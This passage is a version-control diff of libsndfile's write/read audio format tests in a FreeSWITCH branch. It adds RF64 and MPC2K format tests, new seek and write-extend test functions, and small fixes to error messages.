+			}
+		else
+			puts ("    No FLAC tests because FLAC support was not compiled in.") ;
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "rf64"))
+	{	pcm_test_char	("char.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_PCM_U8, SF_FALSE) ;
+		pcm_test_short	("short.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_PCM_16, SF_FALSE) ;
+		pcm_test_24bit	("24bit.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_PCM_24, SF_FALSE) ;
+		pcm_test_int	("int.rf64"		, SF_FORMAT_RF64 | SF_FORMAT_PCM_32, SF_FALSE) ;
+
+		/* Lite remove start */
+		pcm_test_float	("float.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_FLOAT , SF_FALSE) ;
+		pcm_test_double	("double.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_DOUBLE, SF_FALSE) ;
+		empty_file_test ("empty_char.rf64", SF_FORMAT_RF64 | SF_FORMAT_PCM_U8) ;
+		empty_file_test ("empty_short.rf64", SF_FORMAT_RF64 | SF_FORMAT_PCM_16) ;
+		empty_file_test ("empty_float.rf64", SF_FORMAT_RF64 | SF_FORMAT_FLOAT) ;
+		/* Lite remove end */
+
+		test_count++ ;
+		} ;
+
 	if (test_count == 0)
 	{	printf ("Mono : ************************************\n") ;
 		printf ("Mono : *  No '%s' test defined.\n", argv [1]) ;
@@ -401,6 +429,8 @@
 static void stereo_char_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void mono_rdwr_char_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void new_rdwr_char_test (const char *filename, int format, int allow_fd) ;
+static void multi_seek_test (const char * filename, int format) ;
+static void write_seek_extend_test (const char * filename, int format) ;
 
 static void
 pcm_test_char (const char *filename, int format, int long_file_ok)
@@ -531,6 +561,7 @@
 	for (k = 0 ; k < items ; k++)
 		if (CHAR_ERROR (orig [k], test [k]))
 		{	printf ("\n\nLine %d: Mono : Incorrect sample A (#%d : 0x%X => 0x%X).\n", __LINE__, k, orig [k], test [k]) ;
+			oct_save_short (orig, test, items) ;
 			exit (1) ;
 			} ;
 
@@ -606,6 +637,9 @@
 
 	sf_close (file) ;
 
+	multi_seek_test (filename, format) ;
+	write_seek_extend_test (filename, format) ;
+
 } /* mono_char_test */
 
 static void
@@ -807,7 +841,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (CHAR_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) A : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_short (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -856,7 +890,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (CHAR_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) B : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_short (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -893,7 +927,7 @@
 
 	rwfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, allow_fd, __LINE__) ;
 	if (sfinfo.frames != 2 * frames)
-	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld shold be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), frames) ;
+	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld should be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * frames) ;
 		exit (1) ;
 		} ;
 
@@ -914,6 +948,8 @@
 static void stereo_short_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void mono_rdwr_short_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void new_rdwr_short_test (const char *filename, int format, int allow_fd) ;
+static void multi_seek_test (const char * filename, int format) ;
+static void write_seek_extend_test (const char * filename, int format) ;
 
 static void
 pcm_test_short (const char *filename, int format, int long_file_ok)
@@ -1044,6 +1080,7 @@
 	for (k = 0 ; k < items ; k++)
 		if (INT_ERROR (orig [k], test [k]))
 		{	printf ("\n\nLine %d: Mono : Incorrect sample A (#%d : 0x%X => 0x%X).\n", __LINE__, k, orig [k], test [k]) ;
+			oct_save_short (orig, test, items) ;
 			exit (1) ;
 			} ;
 
@@ -1119,6 +1156,9 @@
 
 	sf_close (file) ;
 
+	multi_seek_test (filename, format) ;
+	write_seek_extend_test (filename, format) ;
+
 } /* mono_short_test */
 
 static void
@@ -1320,7 +1360,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (INT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) A : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_short (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -1369,7 +1409,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (INT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) B : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_short (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -1406,7 +1446,7 @@
 
 	rwfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, allow_fd, __LINE__) ;
 	if (sfinfo.frames != 2 * frames)
-	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld shold be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), frames) ;
+	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld should be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * frames) ;
 		exit (1) ;
 		} ;
 
@@ -1427,6 +1467,8 @@
 static void stereo_24bit_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void mono_rdwr_24bit_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void new_rdwr_24bit_test (const char *filename, int format, int allow_fd) ;
+static void multi_seek_test (const char * filename, int format) ;
+static void write_seek_extend_test (const char * filename, int format) ;
 
 static void
 pcm_test_24bit (const char *filename, int format, int long_file_ok)
@@ -1557,6 +1599,7 @@
 	for (k = 0 ; k < items ; k++)
 		if (TRIBYTE_ERROR (orig [k], test [k]))
 		{	printf ("\n\nLine %d: Mono : Incorrect sample A (#%d : 0x%X => 0x%X).\n", __LINE__, k, orig [k], test [k]) ;
+			oct_save_int (orig, test, items) ;
 			exit (1) ;
 			} ;
 
@@ -1632,6 +1675,9 @@
 
 	sf_close (file) ;
 
+	multi_seek_test (filename, format) ;
+	write_seek_extend_test (filename, format) ;
+
 } /* mono_24bit_test */
 
 static void
@@ -1833,7 +1879,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (TRIBYTE_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) A : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_int (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -1882,7 +1928,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (TRIBYTE_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) B : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_int (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -1919,7 +1965,7 @@
 
 	rwfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, allow_fd, __LINE__) ;
 	if (sfinfo.frames != 2 * frames)
-	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld shold be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), frames) ;
+	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld should be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * frames) ;
 		exit (1) ;
 		} ;
 
@@ -1940,6 +1986,8 @@
 static void stereo_int_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void mono_rdwr_int_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void new_rdwr_int_test (const char *filename, int format, int allow_fd) ;
+static void multi_seek_test (const char * filename, int format) ;
+static void write_seek_extend_test (const char * filename, int format) ;
 
 static void
 pcm_test_int (const char *filename, int format, int long_file_ok)
@@ -2070,6 +2118,7 @@
 	for (k = 0 ; k < items ; k++)
 		if (INT_ERROR (orig [k], test [k]))
 		{	printf ("\n\nLine %d: Mono : Incorrect sample A (#%d : 0x%X => 0x%X).\n", __LINE__, k, orig [k], test [k]) ;
+			oct_save_int (orig, test, items) ;
 			exit (1) ;
 			} ;
 
@@ -2145,6 +2194,9 @@
 
 	sf_close (file) ;
 
+	multi_seek_test (filename, format) ;
+	write_seek_extend_test (filename, format) ;
+
 } /* mono_int_test */
 
 static void
@@ -2346,7 +2398,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (INT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) A : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_int (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -2395,7 +2447,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (INT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) B : Error at sample %d (0x%X => 0x%X).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_int (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -2432,7 +2484,7 @@
 
 	rwfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, allow_fd, __LINE__) ;
 	if (sfinfo.frames != 2 * frames)
-	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld shold be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), frames) ;
+	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld should be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * frames) ;
 		exit (1) ;
 		} ;
 
@@ -2453,6 +2505,8 @@
 static void stereo_float_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void mono_rdwr_float_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void new_rdwr_float_test (const char *filename, int format, int allow_fd) ;
+static void multi_seek_test (const char * filename, int format) ;
+static void write_seek_extend_test (const char * filename, int format) ;
 
 static void
 pcm_test_float (const char *filename, int format, int long_file_ok)
@@ -2583,6 +2637,7 @@
 	for (k = 0 ; k < items ; k++)
 		if (FLOAT_ERROR (orig [k], test [k]))
 		{	printf ("\n\nLine %d: Mono : Incorrect sample A (#%d : %g => %g).\n", __LINE__, k, orig [k], test [k]) ;
+			oct_save_float (orig, test, items) ;
 			exit (1) ;
 			} ;
 
@@ -2658,6 +2713,9 @@
 
 	sf_close (file) ;
 
+	multi_seek_test (filename, format) ;
+	write_seek_extend_test (filename, format) ;
+
 } /* mono_float_test */
 
 static void
@@ -2859,7 +2917,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (FLOAT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) A : Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_float (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -2908,7 +2966,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (FLOAT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) B : Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_float (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -2945,7 +3003,7 @@
 
 	rwfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, allow_fd, __LINE__) ;
 	if (sfinfo.frames != 2 * frames)
-	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld shold be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), frames) ;
+	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld should be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * frames) ;
 		exit (1) ;
 		} ;
 
@@ -2966,6 +3024,8 @@
 static void stereo_double_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void mono_rdwr_double_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void new_rdwr_double_test (const char *filename, int format, int allow_fd) ;
+static void multi_seek_test (const char * filename, int format) ;
+static void write_seek_extend_test (const char * filename, int format) ;
 
 static void
 pcm_test_double (const char *filename, int format, int long_file_ok)
@@ -3096,6 +3156,7 @@
 	for (k = 0 ; k < items ; k++)
 		if (FLOAT_ERROR (orig [k], test [k]))
 		{	printf ("\n\nLine %d: Mono : Incorrect sample A (#%d : %g => %g).\n", __LINE__, k, orig [k], test [k]) ;
+			oct_save_double (orig, test, items) ;
 			exit (1) ;
 			} ;
 
@@ -3171,6 +3232,9 @@
 
 	sf_close (file) ;
 
+	multi_seek_test (filename, format) ;
+	write_seek_extend_test (filename, format) ;
+
 } /* mono_double_test */
 
 static void
@@ -3372,7 +3436,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (FLOAT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) A : Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_double (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -3421,7 +3485,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if (FLOAT_ERROR (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) B : Error at sample %d (%g => %g).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_double (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -3458,7 +3522,7 @@
 
 	rwfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, allow_fd, __LINE__) ;
 	if (sfinfo.frames != 2 * frames)
-	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld shold be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), frames) ;
+	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld should be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * frames) ;
 		exit (1) ;
 		} ;
 
@@ -3586,4 +3650,100 @@
 
 #endif
 
+static void
+multi_seek_test (const char * filename, int format)
+{	SNDFILE * file ;
+	SF_INFO info ;
+	sf_count_t pos ;
+	int k ;
 
+	/* This test doesn't work on the following. */
+	switch (format & SF_FORMAT_TYPEMASK)
+	{	case SF_FORMAT_RAW :
+			return ;
+
+		default :
+			break ;
+		} ;
+
+	memset (&info, 0, sizeof (info)) ;
+
+	generate_file (filename, format, 88200) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &info, SF_FALSE, __LINE__) ;
+
+	for (k = 0 ; k < 10 ; k++)
+	{	pos = info.frames / (k + 2) ;
+		test_seek_or_die (file, pos, SEEK_SET, pos, info.channels, __LINE__) ;
+		} ;
+
+	sf_close (file) ;
+} /* multi_seek_test */
+
+static void
+write_seek_extend_test (const char * filename, int format)
+{	SNDFILE * file ;
+	SF_INFO info ;
+	short	*orig, *test ;
+	unsigned items, k ;
+
+	/* This test doesn't work on the following. */
+	switch (format & SF_FORMAT_TYPEMASK)
+	{	case SF_FORMAT_FLAC :
+		case SF_FORMAT_HTK :
+		case SF_FORMAT_PAF :
+		case SF_FORMAT_SDS :
+		case SF_FORMAT_SVX :
+			return ;
+
+		default :
+			break ;
+		} ;
+
+	memset (&info, 0, sizeof (info)) ;
+
+	info.samplerate = 48000 ;
+	info.channels = 1 ;
+	info.format = format ;
+
+	items = 512 ;
+	exit_if_true (items > ARRAY_LEN (orig_data.s), "Line %d : Bad assumption.\n", __LINE__) ;
+
+	orig = orig_data.s ;
+	test = test_data.s ;
+
+	for (k = 0 ; k < ARRAY_LEN (orig_data.s) ; k++)
+		orig [k] = 0x3fff ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &info, SF_FALSE, __LINE__) ;
+	test_write_short_or_die (file, 0, orig, items, __LINE__) ;
+
+	/* Extend the file using a seek. */
+	test_seek_or_die (file, 2 * items, SEEK_SET, 2 * items, info.channels, __LINE__) ;
+
+	test_writef_short_or_die (file, 0, orig, items, __LINE__) ;
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &info, SF_FALSE, __LINE__) ;
+	test_read_short_or_die (file, 0, test, 3 * items, __LINE__) ;
+	sf_close (file) ;
+
+	/* Can't do these formats due to scaling. */
+	switch (format & SF_FORMAT_SUBMASK)
+	{	case SF_FORMAT_PCM_S8 :
+		case SF_FORMAT_PCM_U8 :
+			return ;
+		default :
+			break ;
+		} ;
+
+	for (k = 0 ; k < items ; k++)
+	{	exit_if_true (test [k] != 0x3fff, "Line %d : test [%d] == %d, should be 0x3fff.\n", __LINE__, k, test [k]) ;
+		exit_if_true (test [items + k] != 0, "Line %d : test [%d] == %d, should be 0.\n", __LINE__, items + k, test [items + k]) ;
+		exit_if_true (test [2 * items + k] != 0x3fff, "Line %d : test [%d] == %d, should be 0x3fff.\n", __LINE__, 2 * items + k, test [2 * items + k]) ;
+		} ;
+
+	return ;
+} /* write_seek_extend_test */
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -63,11 +63,3 @@
 	} ;
 
 /* Lite remove end */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 624d498a-9ea1-46b5-a386-c1c2261cfce3
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/write_read_test.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template c +]
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -37,6 +37,7 @@
 #include	<sndfile.h>
 
 #include	"utils.h"
+#include	"generate.h"
 
 #define	SAMPLE_RATE			11025
 #define	DATA_LENGTH			(1<<12)
@@ -83,6 +84,8 @@
 		printf ("           voc   - Create Voice file functions\n") ;
 		printf ("           w64   - Sonic Foundry's W64 file functions\n") ;
 		printf ("           flac  - test FLAC file functions\n") ;
+		printf ("           mpc2k - test MPC 2000 file functions\n") ;
+		printf ("           rf64  - test RF64 file functions\n") ;
 		printf ("           all   - perform all tests\n") ;
 		exit (1) ;
 		} ;
@@ -311,6 +314,11 @@
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "mpc2k"))
+	{	pcm_test_short	("short.mpc", SF_FORMAT_MPC2K | SF_FORMAT_PCM_16, SF_FALSE) ;
+		test_count++ ;
+		} ;
+
 	if (do_all || ! strcmp (argv [1], "avr"))
 	{	pcm_test_char 	("char_u8.avr"	, SF_FORMAT_AVR | SF_FORMAT_PCM_U8, SF_FALSE) ;
 		pcm_test_char 	("char_s8.avr"	, SF_FORMAT_AVR | SF_FORMAT_PCM_S8, SF_FALSE) ;
@@ -340,6 +348,10 @@
 	{	pcm_test_char	("char.sds"		, SF_FORMAT_SDS | SF_FORMAT_PCM_S8, SF_TRUE) ;
 		pcm_test_short	("short.sds"	, SF_FORMAT_SDS | SF_FORMAT_PCM_16, SF_TRUE) ;
 		pcm_test_24bit	("24bit.sds"	, SF_FORMAT_SDS | SF_FORMAT_PCM_24, SF_TRUE) ;
+
+		empty_file_test ("empty_char.sds", SF_FORMAT_SDS | SF_FORMAT_PCM_S8) ;
+		empty_file_test ("empty_short.sds", SF_FORMAT_SDS | SF_FORMAT_PCM_16) ;
+
 		test_count++ ;
 		} ;
 
@@ -351,17 +363,33 @@
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "flac"))
-	{
-#ifdef HAVE_FLAC_ALL_H
-		pcm_test_char	("char.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, SF_TRUE) ;
-		pcm_test_short	("short.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, SF_TRUE) ;
-		pcm_test_24bit	("24bit.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, SF_TRUE) ;
-#else
-		printf ("    **** flac not supported in this binary. ****\n") ;
-#endif
+	{	if (HAVE_EXTERNAL_LIBS)
+		{	pcm_test_char	("char.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, SF_TRUE) ;
+			pcm_test_short	("short.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, SF_TRUE) ;
+			pcm_test_24bit	("24bit.flac"	, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, SF_TRUE) ;
+			}
+		else
+			puts ("    No FLAC tests because FLAC support was not compiled in.") ;
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "rf64"))
+	{	pcm_test_char	("char.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_PCM_U8, SF_FALSE) ;
+		pcm_test_short	("short.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_PCM_16, SF_FALSE) ;
+		pcm_test_24bit	("24bit.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_PCM_24, SF_FALSE) ;
+		pcm_test_int	("int.rf64"		, SF_FORMAT_RF64 | SF_FORMAT_PCM_32, SF_FALSE) ;
+
+		/* Lite remove start */
+		pcm_test_float	("float.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_FLOAT , SF_FALSE) ;
+		pcm_test_double	("double.rf64"	, SF_FORMAT_RF64 | SF_FORMAT_DOUBLE, SF_FALSE) ;
+		empty_file_test ("empty_char.rf64", SF_FORMAT_RF64 | SF_FORMAT_PCM_U8) ;
+		empty_file_test ("empty_short.rf64", SF_FORMAT_RF64 | SF_FORMAT_PCM_16) ;
+		empty_file_test ("empty_float.rf64", SF_FORMAT_RF64 | SF_FORMAT_FLOAT) ;
+		/* Lite remove end */
+
+		test_count++ ;
+		} ;
+
 	if (test_count == 0)
 	{	printf ("Mono : ************************************\n") ;
 		printf ("Mono : *  No '%s' test defined.\n", argv [1]) ;
@@ -400,6 +428,8 @@
 static void stereo_[+ (get "type_name") +]_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void mono_rdwr_[+ (get "type_name") +]_test (const char *filename, int format, int long_file_ok, int allow_fd) ;
 static void new_rdwr_[+ (get "type_name") +]_test (const char *filename, int format, int allow_fd) ;
+static void multi_seek_test (const char * filename, int format) ;
+static void write_seek_extend_test (const char * filename, int format) ;
 
 static void
 pcm_test_[+ (get "type_name") +] (const char *filename, int format, int long_file_ok)
@@ -530,6 +560,7 @@
 	for (k = 0 ; k < items ; k++)
 		if ([+ (get "error_func") +] (orig [k], test [k]))
 		{	printf ("\n\nLine %d: Mono : Incorrect sample A (#%d : [+ (get "format_char") +] => [+ (get "format_char") +]).\n", __LINE__, k, orig [k], test [k]) ;
+			oct_save_[+ (get "data_type") +] (orig, test, items) ;
 			exit (1) ;
 			} ;
 
@@ -605,6 +636,9 @@
 
 	sf_close (file) ;
 
+	multi_seek_test (filename, format) ;
+	write_seek_extend_test (filename, format) ;
+
 } /* mono_[+ (get "type_name") +]_test */
 
 static void
@@ -806,7 +840,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if ([+ (get "error_func") +] (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d ([+ (get "format_char") +] => [+ (get "format_char") +]).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) A : Error at sample %d ([+ (get "format_char") +] => [+ (get "format_char") +]).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_[+ (get "data_type") +] (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -855,7 +889,7 @@
 		/* Check the data. */
 		for (k = 0 ; k < DATA_LENGTH ; k++)
 			if ([+ (get "error_func") +] (orig [k], test [k]))
-			{	printf ("\n\nLine %d (pass %d): Error at sample %d ([+ (get "format_char") +] => [+ (get "format_char") +]).\n", __LINE__, pass, k, orig [k], test [k]) ;
+			{	printf ("\n\nLine %d (pass %d) B : Error at sample %d ([+ (get "format_char") +] => [+ (get "format_char") +]).\n", __LINE__, pass, k, orig [k], test [k]) ;
 				oct_save_[+ (get "data_type") +] (orig, test, DATA_LENGTH) ;
 				exit (1) ;
 				} ;
@@ -892,7 +926,7 @@
 
 	rwfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, allow_fd, __LINE__) ;
 	if (sfinfo.frames != 2 * frames)
-	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld shold be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), frames) ;
+	{	printf ("\n\nLine %d : incorrect number of frames in file (%ld should be %d)\n\n", __LINE__, SF_COUNT_TO_LONG (sfinfo.frames), 2 * frames) ;
 		exit (1) ;
 		} ;
 
@@ -1020,12 +1054,100 @@
 
 #endif
 
-[+ COMMENT
+static void
+multi_seek_test (const char * filename, int format)
+{	SNDFILE * file ;
+	SF_INFO info ;
+	sf_count_t pos ;
+	int k ;
 
- Do not edit or modify anything in this comment block.
- The following line is a file identity tag for the GNU Arch
- revision control system.
+	/* This test doesn't work on the following. */
+	switch (format & SF_FORMAT_TYPEMASK)
+	{	case SF_FORMAT_RAW :
+			return ;
 
- arch-tag: 4187de93-d434-41a2-93a9-4f6e2995b5c1
+		default :
+			break ;
+		} ;
 
-+]
+	memset (&info, 0, sizeof (info)) ;
+
+	generate_file (filename, format, 88200) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &info, SF_FALSE, __LINE__) ;
+
+	for (k = 0 ; k < 10 ; k++)
+	{	pos = info.frames / (k + 2) ;
+		test_seek_or_die (file, pos, SEEK_SET, pos, info.channels, __LINE__) ;
+		} ;
+
+	sf_close (file) ;
+} /* multi_seek_test */
+
+static void
+write_seek_extend_test (const char * filename, int format)
+{	SNDFILE * file ;
+	SF_INFO info ;
+	short	*orig, *test ;
+	unsigned items, k ;
+
+	/* This test doesn't work on the following. */
+	switch (format & SF_FORMAT_TYPEMASK)
+	{	case SF_FORMAT_FLAC :
+		case SF_FORMAT_HTK :
+		case SF_FORMAT_PAF :
+		case SF_FORMAT_SDS :
+		case SF_FORMAT_SVX :
+			return ;
+
+		default :
+			break ;
+		} ;
+
+	memset (&info, 0, sizeof (info)) ;
+
+	info.samplerate = 48000 ;
+	info.channels = 1 ;
+	info.format = format ;
+
+	items = 512 ;
+	exit_if_true (items > ARRAY_LEN (orig_data.s), "Line %d : Bad assumption.\n", __LINE__) ;
+
+	orig = orig_data.s ;
+	test = test_data.s ;
+
+	for (k = 0 ; k < ARRAY_LEN (orig_data.s) ; k++)
+		orig [k] = 0x3fff ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &info, SF_FALSE, __LINE__) ;
+	test_write_short_or_die (file, 0, orig, items, __LINE__) ;
+
+	/* Extend the file using a seek. */
